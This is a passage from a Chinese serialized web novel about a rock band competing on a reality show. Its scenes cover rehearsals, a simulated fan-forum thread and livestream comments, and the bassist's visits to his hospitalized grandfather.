得分持续积累,在第三轮赛制中得分仍为0分的乐队将遭淘汰。 贺思钧评价:“附加分进可攻退可守。” 既能保命,又能助力乐队登顶。 行业观察团和评委并非有名无实的吉祥物,节目中产生冠亚季军将获得他们带来的大厂签约机会、制作基金、演出资格,他们的偏好象征着资源倾斜。 谁能得到大众和行业的青睐,谁就能得到迈入一流的入场券。 老麦抱臂:“真阴。” 承风作为独立乐队,不受公司掣肘就要受各方敲打,这期间已有势力明里暗里通过节目组向承风抛出橄榄枝,是乖乖听话听话受庇护,还是继续梗脖子受冷箭? 节目组要舆论要热议,得非议正中下怀,左右承风又不是真爆出XD、私联、逼迫女友打胎的丑闻令节目受牵连,这点风波分明利大于弊。 这也是为什么节目组会选择通过直播形式播出舞台。 他们可没在演出上弄虚作假。 比赛,当然是公正、公平、公开的,观众当下选择谁,他们没有插手。 行业观察团与评委背后或许涉及了无数利益相关。 但观众,或许是所有公平与不公平中,最纯粹的那个。 他们是最易拉拢也最难讨好的一方。 承风的出场次序在第五。 南塔公园在他们之前,而Punch在第六位出场。 辽光臭着脸:“真当炮灰了。” 纪羽送他一个白眼:“你再颓一个下次就让老麦主唱。” “你这是赤裸裸的偏心!”辽光破防地吼。 纪羽堵住他嘴:“小声点。” “我就知道你还是关心我的,放心吧我天天喝润喉茶。” “不是,你麦没关。” 辽光:“……从今天起承风就是一个三人乐队了,再见。” 说罢,他挎着吉他就要离开。 走出两步见没人出声,老麦和贝旬习以为常理都不理,只有纪羽回头看着他。 眼睛眨巴眨巴。 怪可怜的。 辽光不自觉迈步:“行吧,我看在你的面子上勉为其难原谅你们。” 刚要搭上他亲亲好兄弟贝斯手的肩来一个冰释前嫌的拥抱,就听纪羽捂着麦向一边喊:“贺思钧,我要滴眼药水,我眼睛里进睫毛了!” “……” 辽光带着怒气上台。 纪羽眼睛里的睫毛没挑出来,睁不开,演出全程垂着眼。 倒是很契合这一首带着别扭味道的曲目。 豆豆论坛娱乐组-《乐队象限》专组 【现场repo | 超超超超前排,能数得清人脸上有几个粉刺那种】 1L(楼主):【第一条感谢管理员放我进组,这是自证[图片]】 2L:【标题看得我有画面感了,之前接机一个糊豆,脸侧全都是小疙瘩,我当场脱粉了[无语]】 3L(楼主):【标题是夸张说法,我看到的大部分乐队皮肤质感都挺正常的,没有特别油腻腻的类型真是谢天谢地[双手合十]】 4L:【快进入正题,我还没看直播,时间也太长了,感觉又能剪两期分开发,心累。】 5L(楼主):【提前说明,因为舞台实在太多了,只挑我印象特别深刻的乐队说。】 6L:【求问跳窗户乐队,他们现场效果真的不好吗,都说质感不如线上,真的假的,我看片段感觉还行?】 7L(楼主):【没什么印象了,感觉平平淡淡吧,不上不下,和Diba的合作舞台完全被其他组盖住了,没什么特色。】 …… 23L(楼主):【急死我了,怎么还不问我承风,快问我啊!】 24L:【那问下承风,现场气氛怎么样直播现场反应好少。】 25L(楼主):【特别好!不知道别人怎么想的,反正我看承风的舞台就一个感受——没有负担,很轻松就能陷进去享受了,合作舞台就已经很神了,独立舞台风味也特别对啊,有股傲娇感你们能体会到吗,抓你一下又放开,曲风和之前的感觉很不一样,不像南塔的转变感觉有点突兀,承风可塑性还是挺强的(?)】 26L(楼主):【想特别提一下贝斯手,阿雀真的好亮眼,我这种俗人一般只会看张嘴出声的那个,今天我真的一眼都没办法从他身上挪开,特别特别有反差感。他眼睛比镜头里看到的还要大,人很白,脸小小的,感觉他的脸只有口罩的一半吧,骨架真的完美,个子不是很高的类型但完全一长条,我一直在看腰胯的弧度,贝斯挡了一半更涩了……最重要的是什么你们知道吗?他还对我笑!他对我笑!】 27L:【看到这里确认楼主粉籍了前边铺垫一大堆就为了说这个……[摊手]】 28L:【带着口罩怎么看出来他对你笑的、梦女病和嫂子病发作你选一个、、、】 29L:【楼主别听他们的,组内一夸承风这些人就和疯狗一样追上来了。[掏裆. jpg]】 30L(楼主):【爱信不信我今天之前连承风账号都没关注过,现在点上了。 好了话归正题,阿雀音色真是太乖了太萌了,我本来在不太喜欢原曲里副歌这段怨怼的,但是加入和声真是太妙了,很有层次感的声音从四面八方涌来,我完全头皮发麻了就忍不住叫了一声,(其他人也有尖叫的)但由于lz反射弧太长声音完全和其他人错开了,结果被阿雀听到了,他就看过来。 原本他眼睛是这样的O.O,和我对视之后可能有点尴尬就变成OoO,后面可能是怕受干扰就转开视线了,但还对我笑了下安慰我,因为眼睛太大了所以做一下表情都会很明显,变成了=v=,一转头又恢复O.O……】 31L:【好萌好萌好萌,为什么直播没拍到这一段,听着感觉就好萌!】 32L:【我终于从这一段文字里明白他嬷嬷的感情从何而来…………可是我为什么要共情……】 33L:【嗯嗯都说了我们吃很好了,拉他做瓜的都是异食癖,他周围那一圈糙男拉几个吃点配餐还可以。】 33L:【虽然得票没放,但承风分绝对不低,两个舞台没一个拉胯的,我特别喜欢第二首,很有青春感的编曲,这些年特别少见……太喜欢了录下来循环播放中。就算再不喜欢他们作风,也不能否认他们的实力确实在乐队象限里能排前三。】 34L(楼主):【有件事知道能不能说,有点纠结,因为签了保密协议……】 35L:【有什么不能说给咱们姊妹听的,姊妹们的人品你还不放心吗?】 36L:【就是就是。】 37L:【不会是关于承风第二个舞台的事吧?】 38L:【?】 39L:【什么事?】 40L:【我当时也在现场,南塔公园表演快结束的时候后场吼了一嗓子,那时候就是承风在候场,他们第二场上台后氛围就有点怪怪的……】 41L(楼主):【啊确实有这么一回事……不过第二场给阿雀的追光特别少,不过轮廓也很好看就是了,后悔没带相机去了,手机内存在前面就拍爆!】 42L:【出图了出图了[图片][图片]这是在哭吗?】 43L:【眼睛咋那么红?这是吵架了吗,看辽光那边脸也很冷,我还以为是舞台效果呢。】 44L:【啊哦,不会又是队内不和吧,下台后是不是有一场自由搏击:)】 45L:【你们是不是都忘了承风之前有过替身上台啊,虽然临时有事找人替一下很正常,但承风就让人完全打扮成阿雀的样子蒙混过关啊,一直到去年年末才出来道歉说明情况吧。】 46L:【别乱说好吗,承风哪里说过是他们要求打扮成那样的?】 47L:【那是决赛吧?在节目上弄虚作假欺骗观众,真的很没道德底线,所以现在招人恨也正常,因为承风本来就是这样的一群人,也就某些人溺爱了,还实力排前三,搞笑呢[笑哭]。】 48L:【都道歉说明情况了还想怎么样,本来有人发现吗,他们自己提出来还暂停了一段时间活动,我想问问你们喜欢的乐队敢出来承认错误吗,跳窗户的主唱和鼓手今晚又约了几个粉丝见面啊?】 …… 62L:【别吵了,都没发现楼主不见了吗,到底什么不能说啊,如果是队内不和的话直播都能看出来了,所以到底是什么要保密?】 63L:【楼主出来!】 64L:【哈哈说到她心肝气死了吧,不敢回了,我摆明了说,承风粉出头一次我就打一次,承风一辈子都别想翻身。】 65L:【[汗]雷暴云和承风除了音乐节顶替那回事还有什么过节啊吵成这样。】 66L:【不看幕后花絮片段吧,承风的人就没给雷暴雨好脸色,特别是对他们新成员,几乎都是臭脸+无视,把雷暴云孝子气死了。PS:没人觉得雷暴云新吉他手和贝斯手其实长很像吗,脸部走势拼了好几张图都合上了。】 67L:【得了吧,你信不信他们俩要是长得有三成像,雷暴云都能往双生子死里炒作。其实完全是陌生人概念,就没见过他们俩说过话吧,要论队内不和,还得是雷暴云啊,简直魔咒。】 68L(楼主):【我回来了,刚刚去问了一下业内朋友,顺便整理了一下相册,先放录制的视频[视频.mp4][照片][照片]】 69L:【楼主真没瞎说,真的好可爱我晕了,,,,】 70L:【贝斯太碍事了,快丢了,哥哥下面有好东西让你弹……】 71L:【还以为他是那种teenager的感觉…】 72L:【毕竟承风真的很典型的混混反派感。】 73L:【所以楼主呢?】 74L:【看到隔壁软件的黑帖了,我知道楼主要说啥了。】 74L(楼主):【啊啊真的不想说,因为觉得是小事,但是隔壁说得也太过分了,什么黑幕不黑幕的。其实就是公布票数前我和朋友有事提前离开了,好像在场外看到了阿雀,也有几个人一起出来可能看到他了吧。不清楚到底发生什么了,可能是有什么急事……没凭没据臆测的也太恶了,之后不回了,我加入承风反黑站了。】 75L:【??隔壁说啥了】 76L:【指路[分享链接-Weibo极速版-老子不爱吃鸡翅:某雀迟早把承风害死……]】 第90章 这边, 纪羽才下了台,接了通电话便急匆匆离开。 赶到医院是五十分钟后的事儿。 “……” 纪羽站在走廊尽头,一时不敢上前, 一身舞台打扮还没换下,外头套了件他自己的厚衣服。 贺思钧也跟来了, 向纪泽兰徐梁点头致意后低头对纪羽耳语。 纪羽木讷地点头,向抢救室前众人走来,先对巴清和问候:“叔。” 巴清和拍了拍他的肩, 说道:“辛苦你来一趟, 你巴爷爷情况差不多稳定了,待会转去ICU, 没事了。” 这算得上什么辛苦, 纪羽摇头,脑袋还在发懵, 整个人混混沌沌。巴文旭的孙辈还有些正在赶回的路上, 巴清和一一通知情况。 纪泽兰将纪羽拉到一旁,双手揉搓纪羽的手掌。 纪羽问:“什么时候的事儿?” “去年年中才查出来的, 这病程发展得快……” 难怪巴文旭去年瘦了这么多, 他当时还问巴文旭是不是病了,巴文旭告诉他, 人老了就是这样,吃得少自然就瘦了。 还说什么千金难买老来瘦。 纪羽心里不好受:“怎么不早告诉我呢……” 生死之前, 还犯什么倔, 等人要走了, 来见最后一面的意义是什么呢? 几分钟后巴文旭被推出来,巴清河和几个老朋友都围了上去。 纪羽跟在外围,匆匆一眼看到巴文旭蜡黄枯瘦的脸, 心神震撼,几乎不敢相认。 时间已晚,ICU不开放探视,巴家人选了两人留下看着,其余人都暂且离开。 徐梁深深看了贺思钧一眼,还是请他一起上车回去。 一路无话。 贺思钧知道纪羽有一个亲近的爷爷,既是他的老师,也是他的亲人。 纪羽的一手好字是巴文旭手把手一笔一画教出来的,以前纪羽总捏着手指喊痛说了一百遍一千遍不学了,却也没见他真的放下,也没听他说过一句讨厌巴文旭。 纪羽有一颗敬畏之心,浅了说就是有些“过敏”,遇到什么事总往最深了想、往最坏了的结果想,从小少写了一份作业也怕老师因此对他有意见。 说白了,他对人不信任。 谁对他好,谁包容他、迁就他、理解他,就被允许向着他前进一格,谁违背了他的预期,就被推远。 亲疏远近,明明白白。 或许是他亲近的人里大多都倔强,纪律是,巴文旭是,就连贺思钧也是,于是纪羽也倔强地不肯改变内心的准则。 他大概是悲伤而失望的。 巴清河通电话时,贺思钧看着纪羽的表情,在他脸上看到了隐藏的愤怒。 他在生气为什么要让启程的人折返,因为巴文旭没事了? 纪羽不允许团聚只在生死一刻发生,他要长长久久,但又因为他知道每个人都有难处,所以又无法对任何人一个人产生纯粹的埋怨,他只是无力地任由无法解决的情绪蔓延。 直到它满溢,被贺思钧捕获并反复咀嚼直到理解。 贺思钧不再做纪羽情绪的容器,承载他过量的喜怒哀乐,他学会剖析解读,直到这份情绪也成为他的一部分。 之后几天,纪羽每日都会赶来医院,有时是中午,有时是晚上放学,这些时间他都坐在ICU门外守着,吃饭、做题,等时间到了再离开。 ICU探望的机会太少,人数也有限制,巴文旭有三个子女,每个人轮一次,巴文旭的老伴也来了一次,来的时候骂骂咧咧,走的时候竟然在抹泪。 贺思钧偶尔和他一起去,但有时候纪羽也希望自己一个人待着。 巴文旭抢救后快一周,节目第三期上线,纪羽没时间看,他已经拼尽全力,但成绩较上次联考时并没有太大进步。 上升空间总是有限的,纪羽就算是天才,顶上还有比他多得多的天才。 这些天才更早些时候就开始努力,为了保持成绩或许从小就做足了准备,纪羽虽然没进前五十,但他也该知足了。 只有一点点不甘心,一点点。 怕他倦怠,李玄还为此在班会上表扬了他,但私下里叮嘱他一定要咬住前头的尾巴,不要放弃! 纪羽有点想笑,因为贺思钧比他低了十几个名次,贺思钧是不是也要咬住他的尾巴? 想着想着,他又不笑了。 巴文旭病情稳定,在第九天医生批准转病房,在这前一天,消失已久的纪律回来了。 他穿夹克、黑裤,下巴上还有胡茬,就这么出现在医院里。 纪羽无视他,不和他搭话,见他来了就把视线移开,发呆。 纪律的影子落到他身上,纪羽嗅到长途飞行后风尘的味道,鼻子痒痒,打了一个喷嚏。 是他把纪律叫回来,但他不打算对纪律说点什么。 纪律竟然也没了话,只是站着。 隔天,纪羽见到了巴文旭。 他脸色好看多了,脸颊还是干瘦,精神大不如前,见到纪羽他第一句话:“你天天来干什么。” 纪羽脸上的笑垮了,眼圈唰地通红,令巴文旭措手不及的眼泪就砸下来。 “您管我来不来,我腿脚方便得很,爱来就来,反正你躺着,又没法拦我。” 纪羽又气又恼,他本想高高兴兴地和巴文旭聊聊天,就算再提不起劲也不在病人面前丧脸子,哪儿想这老头上来就问这一句,也顾不上你慈我孝了,张口便道: “我就一个爷爷,我不来看你我看谁去,你给我安排一个,我立马走人,等你病好了也不来看你了。” 巴文旭生死关头走一遭,失去意识前没什么印象了,醒来倒是有点后怕,虽说他活到这年纪不亏了,但人就活一辈子,真让他死,他还真有点舍不得。 纪羽语气硬,话里可都是软乎的,分明是又怕又气逼出来的话,巴文旭心里虚了一截,面上还撑着:“得病了哪能往外瞎说,小病传着传着都变不行了,这得个毒瘤子在身上不得叫人盼着我这老头子早点走啊?” 纪羽泪流得凶,表情还是硬着:“那我也是别人了?” “说的什么话,我哪儿这么说了!”巴文旭把纪羽扯着让他坐,纪羽不肯坐病床上,拖了个板凳矮下去,抬起袖子抹眼泪。 巴文旭拿纸巾给他擦脸:“我出来了头一个就见我亲孙子,其他那些个孙子我用不着他们来。” 纪羽听他说“那些个孙子”觉着好笑,也明白为什么巴文旭出事儿电话会马上拨给他。 巴文旭端不稳水,他的心是偏的,纪羽想到这点鼻腔发酸。 “你就该天天把我叫去,陪你吃饭写字,这样我早就能知道了…” 巴文旭粗哼一声:“我一个人还清净点,看你心不在焉的我气都气死了。” “爷爷!” 巴文旭这才往回找补:“你高三了,和你说这些有的没的干什么,我老头子还有得活,腿脚比你还利索点。” “我高三了又不是三高了,我还不能知道我爷爷得什么病了?” “什么病病病的,懒得跟你说这些。” “明明是你自己说死不死的!” 巴文旭敲杯子:“我年纪大了,记不清说什么了。” “我成绩现在可好了,贴公告栏表彰的那种,我改天把成绩单带来给你看。”纪羽抓了把干菊,倒热水,“这个月您就在医院住着,安心让人治,我有时间就过来,你不要总想着出院。” 巴文旭犯他的死倔劲:“我都醒了哪儿还有不让人回家的道理,我非得在医院躺着?” “对,只要你在医院里待着,是跑步还是跳舞都行,反正就不能回家,特别是不能一个人待着。”纪羽决定拿出点强硬态度。 “您不听我的,我就把你书房里的字画都卖给姓王的!” 巴文旭果然经不起威胁:“那姓王的就是个臭卖字的,一身铜臭味,赶紧把他电话删了拉黑!” “那您就是答应了。” 巴文旭吹胡子瞪眼好一会儿,终于是应下了。纪羽又陪他说了一会儿话,录制时间实在是赶不及才离开。 巴文旭端起茶杯抿了一口,呸出一嘴菊花瓣。 “真是不能叫这小子伺候人。” 他放下杯子,靠在床头闭目养神,护士进出的脚步声放得轻。 巴文旭突然睁开眼,还吓了护士一跳。 “麻烦你把门外的人叫进来吧。” 护士应了,换了吊瓶后出门传唤。 巴文旭打量着纪律,像审视着什么罪犯似的皱起眉:“你还不如我这个老头呢。” 纪羽上了车,已经有些迟了,这周的录制还算轻松,多了些趣味性,不过是恶趣味。 所有乐队进行拆分,乐手打散,组成新的八支乐队,不进行直播演出,但需要在一周时间内从0开始原创曲目,最终录制后的音源会上传官方平台进行匿名投票。 得票数最高的一组全员获得加分,即乐手获得的分数可加成至原属乐队。 是分散乐手获得更高加分概率,还是尽可能报团相信队友的实力? 宣布规则后,节目组给了八支乐队一晚上时间商讨,结果如何,今天见分晓。 纪羽还没想好,他不想和承风分开,但昨晚南塔公园、牧羊犬、Punch甚至雷暴云都向他发出邀请。 《乐队象限》这么玩不被骂真是见了鬼了。 90-100 第91章 “注意, 新组成乐队中,来自同一乐队的乐手不能超过两名。规则宣布完毕,现在请各乐队代表上前一步, 按次序挑选队员。” PD无视底下一片拉着的驴脸,兴致勃勃点名道:“G.T你们先来。” G.T吉他手章成慧走出乐队, 视线扫过全场。 如今,八支乐队中,他们乐队讨论度垫底, 前一段赛制中, 他们只积得1分。 合作舞台,承风与南塔公园格积5分, 雷暴云与牧羊犬各积3分, G.T与Punch各积1分。 独立舞台,Punch夺得第一, 并收得行业观察团附加3分, 雷暴云获7分,承风第三5分, 南塔公园风格迥异, 现场接受度普遍偏低,获3分, 跳窗户、G.T与Diba均获0分。 出人意料的,导师组将附加分赠予承风, 因此, Punch与承风如今并列第一, 总得分均为13分。 《乐队象限》积分赛制看似宽容,只需得分就能免于被淘汰的命运。但这场重组比拼则全然彰显了节目组的险恶之心。 是将顶层乐队的乐手一一打散破坏他们继续得分的可能,还是尽可能将他们团聚在一起为自己效力, 争得保命金牌? 留下来或许仍然无法改变作为垫脚石的命运,但淘汰就意味着他们将失去这来之不易的曝光。 章成慧在跳窗户与Diba乐队的眼睛里看到了野心。 但很遗憾,谁让他在抽签上手气不错呢,现在选择权在他手里。 “我要选择承风的贝斯手,阿雀。” “南塔公园键盘手、主唱,刘平平。” “雷暴云吉他手,梁子尧。” “牧羊犬鼓手,柏盛。”- “你到人家那里要吃好喝好,不要被人欺负了,别人排挤你就马上来找我,听到没?”辽光一边假装哽咽一边打包行李。 纪羽抽抽嘴角:“我就在你隔壁的隔壁排练室……!还有不要再把你的拨片塞到我包里了,你的太脆了我用不了。” 待时间差不多了,纪羽提上包,背上贝斯起身:“我走了。” 贝旬不用走动,闻言起身送他:“有事在群里说一声。” 左右就一个星期,大半时间纪羽还得赶回去上课,能有什么事。纪羽摆摆手:“等你们拿第一,最好赢过老麦他们组。” 到了新排练室门外,纪羽耳边还回荡着辽光哭得极为刻意的颤音。 门在眼前向内打开,章成慧贼笑着:“进来吧。” 纪羽愣了一下点点头:“谢谢。” “你是第一个到的,喝口水。” 纪羽道谢,接过矿泉水,却没喝。 章成慧看出他的拘谨:“从进门到现在你就说了两句谢谢,别那么紧张,接下来一周我们就是队友了。” 纪羽提起嘴角笑了一下:“嗯。” “哦!忘了说了,我特别喜欢你们上个赛段的《距离》,没想到你不仅贝斯弹得好,编曲水平也高。” 商业互夸,纪羽也会:“我也很喜欢你们首演的《散步的鱼》,你的solo很稳。” 章成慧笑容扩大了几分:“哈哈哈哈哈也就还好吧。” 他捂住收音麦,用气声说:“我觉得你们比雷暴云强多了,他们顶多排第五。” 在他心里,南塔公园、承风、Punch前三,他们G.T第四吧,雷暴云比他们还差点,一个节奏吉他都不稳的乐队,简直是耻辱。 纪羽也捂住麦:“那你还让雷暴云的来。” 章成慧架着他肩膀,咬牙切齿道:“我就是气,你知道对比出真知吧,看我不吊打他,到时候我话题度稳稳的,你和刘平平就安心创作知道吧,这回节目的恶人就我们G.T来做。草他大坝的,连个剧本都不给我们安排,节目组狗眼看人低。” 纪羽和章成慧抵着脑袋,莫名感受到几分热血:“你就不怕承风不是剧本,你引狼入室?” “你是狼?”章成慧憋不住笑,“哈哈哈哈哈你是狼?” “……”纪羽咬牙,用头撞他脑袋,“闭嘴!你别笑了!” “OKOK。”章成慧止住笑意,“你是不是忘了我们和Punch是合作组了,你来找Punch的时候我就在休息室角落里。” 李良痴迷针织,据他自己说他的创作灵感就来自钩针的过程,时不时叫纪羽去试帽子、马甲的尺寸。 Punch其他人的尺寸都太大了,纪羽体型小,织得快,特有成就感。 每次纪羽上身,Punch一堆人就在那鼓掌:“哎呀这小模特当得杠杠的。”“好看好看,真漂亮真俊。” 纪羽听他一提,脸都有点红,好在被口罩挡着看不太出来:“哦,你在啊……” 章成慧又对他分析了一通他选人的依据,纪羽听得直点头,这是智斗啊! 话题度有了,还愁找上门的商演不够吗?就算是昙花一现,也总比含苞待待待待待待待放好。 梁子尧进门时就看到两个脑袋挤在一起嘀嘀咕咕地说话。 他敲了两下门板,看着两人如惊弓之鸟般分开:“导演让你们把麦打开。” 章成慧迅速调整状态:“没关啊。” 纪羽顶着没抚平的头发,恢复了镇定,抱臂点头:“嗯。” 眼里带着梁子尧看不懂的戏谑。? 怎么了?他的打扮很好笑吗。 拆队第一天,五人只碰了个面,彼此都很尴尬,商议明天将各自想法整理后带来就没话可说。 这不行……得挑点事。 章成慧跃跃欲试:“梁子尧,你怎么遮着脸啊,听说你还在上高中,怕被同学认出来?” 梁子尧不着痕迹地看了一眼纪羽,声音压得低:“我长得丑,不想露脸。” 他帽子压得低,面上戴着口罩,和纪羽刚出道时的打扮差不多,但挡脸的方式也无非那么几种,起初网友讨论一阵,也就散了。 一中的学生当然能认出他,但他人缘好,贩卖隐私的事同学做不出来,公司又下手封锁了消息,就算偶尔有他的照片流出也会立马被扣上莫满的名字,他在雷暴云中的存在感一降再降,网络上关于他的讨论偏少,多数都在骂他关系户空降。 他明知道这种举动荒唐,可还是选择坚持下去。 欲望像茹毛饮血的冲动,一旦跨过界限,就没有收场的可能。从远远观望到主动探究,最终深陷泥潭,梁子尧清醒地看着自己沉沦。 看,我比莫满要向你更进一步了- “你这段riff高级?我听不出来,有点太炸了,不协调。” “我炸?E小调我配贝斯的低频刚好,节奏吉他不给力我不炸一点怎么办,在台上干瞪眼?” “我坚持双踩搭和弦5643。” “和弦和节奏太硬了,和风格哪里搭?” “你说不搭就不搭?你这旋律节奏那么沉,全是气口,听众听完前奏早睡了。” “已经浪费一天了,旋律定下来我才能填词。” “旋律那么矫情还填什么词。” “投票表决吧,反正我不同意走抒情,我们这一组不适合。” “贝斯呢,贝斯发话。” 四人吵成一团,才发现贝斯人不在,往角落里一看,纪羽搭着外套靠墙都快睡了,头一点一点的。 章成慧痛心疾首地晃醒他:“你怎么还能睡得着?” 他拼命使眼色,快看啊,你看梁子尧这厮越俎代庖要抢你的活了。 纪羽撑开眼,耳朵嗡嗡作响,缓了十几秒才醒过神来:“主旋律定了?” 章成慧像前世进宫进修过,殷勤地将各自的想法都总结上报。 纪羽拿了梁子尧的旋律片段看,口罩下咬着下唇,说:“那就主缓副急试一下呗。” 刘平平显然也是那么想的,很快同意:“主歌用4536,副歌用1645。” 纪羽:“我弹几段你们听了不行就改。” 柏盛和章成慧也不是没考虑过,就是心里憋闷想发泄发泄,现在一打岔冷静下来自然不会反对。 梁子尧已经把吉他拿来了,纪羽用清音试了几个片段。 “衔接感怎么样?” “还差点。” “哦,那梁子尧的方案pass。” “试我的……” 分针转过两圈,最终几人达成一致,算是确认下最终和弦走向和旋律部分。 “明天我和鼓手早点来,分段调节奏,吉他设计一下自己的riff,中午的时候我们合奏再试试,平平哥麻烦你今晚回去想想填词啦。” 刘平平比了个OK的手势,柏盛手插兜嗯了一声,剩下两人更没异议,就此终于能散场。 纪羽困得不行,头也发晕,四肢酸软得不像话,这些天他有意没让自己多活动,出门就坐车,进屋就坐下,好在身上没出现新的淤点,有几块淤青也是不小心磕到的。 可能是太累了,等回到承风就请假休息几天好了。 纪羽像幽魂般飘出门外,几间排练室灯火通明,纪羽抵着门洞偷看两眼,趁辽光出来打招呼前溜走。 徐梁发了消息,说在后门等他。 已经是一小时前了。 纪羽急匆匆出了基地,夜色里远处亮着的车尾灯很显眼,纪羽边走边回语音:“不是都说啦不要等我这么晚,我晚上打车回去就……” 语音超过六十秒自动发送,纪羽看向路灯下两道站立的人影,困意一扫而空。 “你为什么在这里?” 纪律没有动,贺思钧态度自然地接过他的琴盒,站立到他的身侧。 空气在目光交汇时变得凌厉—— 作者有话说:放心吧,纪律现在就是秋后的蚂蚱。 第92章 “……散步。” 这是有史以来纪羽听过最拙劣的借口。 谎言不需要解释、补丁, 它只需要维系一个人单方面岌岌可危的体面。 纪羽看到纪律眼中摇曳的尊严,像扑灭的木柴下尚有余温的灰烬。 “那你可以走了。” 纪羽这么说,纪律好像也没有要逗留的理由, 就此越过他径直离开。 纪羽由此感到厌烦,他用力呼吸着深夜沁凉的空气, 裸露在外的皮肤泛出不健康的白,贺思钧听他问道:“你来了多久了?” 贺思钧说:“二十三分钟。” “你们说什么了?” “……” 纪羽扭头,用一种严厉的逼迫的眼神看向贺思钧, 又很快意识到什么变得有些恼怒:“贺思钧, 你为什么不说话?” 贺思钧将他神情的变化尽收眼底,只轻轻道:“我们什么都没说。” 因为纪律是被驱逐的那一个, 因为纪律是犯下更深罪行的那一个, 所以他再没立场开口,去斥责仍然被纪羽所接纳的人。 如今围在纪羽身边的人茫茫, 他是最不被容忍接纳的那一个。 当纪律不再是纪羽所能依靠的唯一选项, 血缘竟成了他们最后也最不值得一提的关联。 纪羽要作何感想?他朝着车尾灯迈步,肋间空荡, 看不见的狂风穿过, 穿过他的四肢,贴上他被遮住的面颊, 什么都没能留下,又好像长久地寄生在他的体内。 贺思钧没有跟着他上车, 替他将琴盒放好, 骑上自行车走了。 徐梁在车上打瞌睡, 纪羽用冰冷的手摸他脖子,在徐梁笑骂声中笑弯了眼睛。 “快走啦!” 八支新乐队均上传曲目并统计投票后,节目组请各组开启了直播。 弹幕飞快, 刘平平手持镜头,向观众问好:“哈喽大家好,大家是不是已经投过票了,有猜到我的队友都是谁吗?” 【节目组吃了两斤狗屎想出这个赛制[棒][棒]】 【一听声音就认出来哪首是你唱的了~把票全投啦~】 【谁啊,队友是自己选的吗,第五期能把全过程剪出来吗,再分上下两期我就要精神分裂了……】 【能不能反应一下能不能别瞎剪辑了,一会儿看到你们和承风谁也不搭理谁,一会儿你们两边又抱上了,到底啥意思,把观众当臭狗一样玩耍?】 【平平你看预告片了吗,气得我血压上来了!】 【有没有和牧羊犬合作?】 【不要和跳窗户就行[祈祷]千万别和他们主唱还有鼓手一起玩,其它人也不一定干净…】 【有阿雀吗,看节目你们关系还挺好的,是不是再合作了?】 【能不能别蹭……】 【说清楚到底谁蹭谁?】 刘平平看到有弹幕猜中,笑意扩大:“没错,我们组有一位我的好搭档。” 他把镜头偏转,一张俏生生的脸就映在了屏幕里,纪羽还没准备好,有点无措地挥了挥手:“大家好,我是阿雀。” 弹幕顿时增加。 【小鸟宝宝小鸟宝宝小鸟宝宝,萌死了我去,眼睛真的好大,水润润的,妈妈亲死你!】 【脸在镜头里就那么小,皮肤好白,我晕了,真的好萌^^^^】 【刚开始确实挺烦承风这一队没素质又爱装逼的,后来看多了发现真的挺帅的,心里慢慢生出了别样的滋味……】 【不怪Punch沦陷了,萌死我了,要我我也要给宝宝织毛衣。】 【谁还没看幕后花絮集锦,拉到37:48,看完这只小鸟撒娇我不惜毁灭整个人类文明】 【以前觉得口罩碍事,现在觉得这是情趣……】 【阿雀[加油]阿雀[加油]阿雀[舌吻]阿雀[加油]阿雀[加油]】 【在新乐队里怎么样呀,不要太累了,每次看到下班图都好晚了T.T】 【不是我走错直播间了,这是《乐队象限》吧,不是宝妈交流会所吧?】 章成慧窜入镜头,打破了纪羽的尴尬:“开始了?嗨,我是G.T的吉他手慧星,下周我们乐队会上新一首单曲在官方音乐平台,请大家多多支持~是G.T乐队哈!” “怎么还打广告呢!”刘平平假意指责,腾出位置让章成慧坐下。 “阿雀坐中间吧。”章成慧屁股一挤就将纪羽夹在两人之间,读弹幕道:“新乐队有几个成员?什么时候解散?——哪有一上来就盼着咱们解散的啊,房管人呢房管!” 纪羽习惯了大呼小叫,已经镇定下来答道:“五个人,还有两个人是柏盛和梁子尧,他们晚点过来。” 原本变得正常的弹幕又开始走偏。 【天啊,谁想出来的把雷暴云和承风放一起的。】 【你知道那么多平平无奇名字里出现一个子尧是有多好笑吗?】 【子尧还不平平无奇吗,又不是叫梓琪,子妍,梓乐。】 【根本没差。】 【宝宝你没有用贝斯砸人家吧?】 【其实是双方正在紧急隔离,待会梁子尧来了纪羽就走了吧?】 【梁子尧好像是重点中学的,听人说他在学校人缘挺好的,还是学霸……】[已删除] 【卧槽怎么我刚发的弹幕没了,这不能提梁吗?】 【别提梁口尧了,这是真口口。】 【姐几个也是玩上解密了。】 纪羽没想替梁子尧解围,但牵扯到一中保不齐把他也暴露了,转移话题道:“我们来介绍一下新歌吧。” 他示意:“平平哥。” 刘平平接过话口:“这首歌呢是由我们共同作词,阿雀负责主要的编曲,选择的主题是明天,相信大家都已经听过了,我们主要想传达……” 【选择的主题是明天,结果歌名就叫《明天》,真有你们的。】 【好听,我听完八首义无反顾就选了《明天》,旋律好抓耳。】 【主歌到副歌的过渡很流畅,完全不像几天内赶出来的作品,感谢还有原创乐队拯救我被网红热曲污染的耳朵。】 【听贝旬说阿雀接触编曲时间还很短,结果已经能独立制作了,而且成品还那么好听,慕了。】 【但是贝旬好像说阿雀从以前就对这方面很感兴趣了,厚积薄发吧?】 【就是天才天才天才好吗,说那么多有的没的,只管吹我宝宝牛b就行了。】 【嘿嘿,是谁的宝宝又漂亮又聪明啊。】 【阿雀和彗星在说什么,这么快就玩在一起了~】 【某个吉他手又要跳脚了!】 【永光啊别那么小心眼,贝斯手是属于所有吉他手的,不过你放心吧,外面的莺莺燕燕影响不了你,你才是唯一的正宫~】 【话说承风不打算再扩充一下乐队吗,再招一个吉他手什么的。】 【要问去辽光直播间问,干嘛总烦阿雀,无语死了,又不是只和辽光关系好。】 【[认证]贝旬:贝斯手属于整个乐队。】 【我去!】 【真老公直接空降。】 纪羽注意到弹幕的骚动,贝旬的发言没头没尾,他没在意,靠近镜头说道:“今天结束我就回承风了,之后应该不会再拆队了吧。” “说不准,谁知道他们有什么花招。”柏盛挤进镜头,眯着眼扫了眼屏幕,“都在说什么,没有点和歌相关的话题吗?” 纪羽想站起来换位置,柏盛大大咧咧在他身后坐下,手撑着他肩膀读弹幕:“‘是不喜欢合作吗?’不喜欢赛制,你上学喜欢考试吗? “什么叫别欺负别人贝斯手,现在阿雀和我一队的,我爱怎么搭怎么搭,而且我都没用力。 “喜欢何苗还是阿雀?你怎么不问我喜欢爸爸还是喜欢妈妈?” 四人坐在排练室地板上接受弹幕的拷问,梁子尧站在门外看着,目光晦涩。 “梁子尧来了?梁子尧!”章成慧回头,“他们说你入镜了,过来吧。” 【站那老半天我还以为是鬼呢……】 